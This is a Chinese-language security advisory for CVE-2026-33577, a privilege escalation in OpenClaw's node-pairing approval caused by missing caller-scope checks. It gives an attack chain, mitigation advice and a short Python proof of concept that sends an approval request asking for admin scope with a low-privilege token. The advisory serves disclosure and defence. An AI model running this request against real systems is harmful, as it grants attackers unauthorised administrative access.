IPBUF安全漏洞报告
English
CVE-2026-33577 CVSS 8.1 高危

CVE-2026-33577 OpenClaw节点配对权限提升漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-33577
漏洞类型
权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升OpenClaw逻辑漏洞CVE-2026-33577Insufficient Scope Validation

漏洞概述

OpenClaw 2026.3.28之前的版本中存在严重的权限验证不足漏洞。该漏洞位于节点配对审批路径,由于系统未对`callerScopes`进行严格验证,低权限操作员能够批准具有更高权限范围的节点。攻击者可利用`node-pairing.ts`组件将自身权限非法扩展到已配对的节点上,从而获得超出授权级别的访问能力。此漏洞无需用户交互即可通过网络利用,对系统机密性和完整性造成严重威胁。

技术细节

该漏洞的根源在于OpenClaw项目中`node-pairing.ts`文件在处理节点配对审批逻辑时,对调用者权限范围(callerScopes)的验证机制存在严重缺失。在正常的安全设计模型中,当一个操作员尝试批准节点的配对请求时,系统必须执行严格的权限检查,确保操作员当前持有的令牌权限范围完全覆盖或等同于待配对节点所请求的权限范围。这是为了防止低权限用户越权操作高权限资源。然而,在受影响的OpenClaw版本中,开发人员在编写审批接口代码时遗漏了这一关键的校验步骤。具体来说,代码直接读取了待配对节点的权限申请并执行了通过操作,而未将申请的scope与当前用户token中的scope进行交集或包含关系比对。攻击者利用这一逻辑缺陷,只需拥有一个低权限的合法操作员账户,即可向服务器发送特制的配对审批请求。该请求包含了一个超出当前用户权限等级的scope值(例如从“读取”提升到“管理”)。由于服务端缺乏验证,该请求被成功处理,导致攻击者成功将受控节点与高权限角色绑定,从而实现了垂直权限提升。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者注册或获取一个普通操作员账户,该账户仅具有基础的低权限Token(如读取权限)。
STEP 2
步骤2:识别目标节点
攻击者浏览系统,寻找处于等待配对状态且拥有高权限Scope(如管理权限)的目标节点。
STEP 3
步骤3:发送恶意审批请求
攻击者利用低权限Token向`node-pairing`接口发送POST请求,试图批准该高权限节点的配对,并在请求中指定高权限Scope。
STEP 4
步骤4:绕过验证提升权限
由于服务端`node-pairing.ts`缺少`callerScopes`验证,请求被成功处理,攻击者控制的节点获得了目标的高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for node pairing approval # The vulnerable endpoint is typically located at the node pairing API path target_url = "https://openclaw-instance/api/v1/nodes/pair/approve" # Attacker's token with low privilege (e.g., "read:node") # The vulnerability allows approving a node with "admin:node" using this token headers = { "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>", "Content-Type": "application/json" } # Payload requesting approval for a node with higher scope # Missing callerScopes validation allows this to succeed payload = { "nodeId": "target-node-id", "requestedScope": "admin:node", # Higher scope than caller "approve": True } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Node paired with elevated privileges.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用节点自动配对功能,并对所有节点配对请求进行人工线下审核。同时,应严格审查现有操作员的权限范围,确保低权限账户无法接触到敏感的节点管理接口,并在网络边界部署WAF规则检测异常的权限提升请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表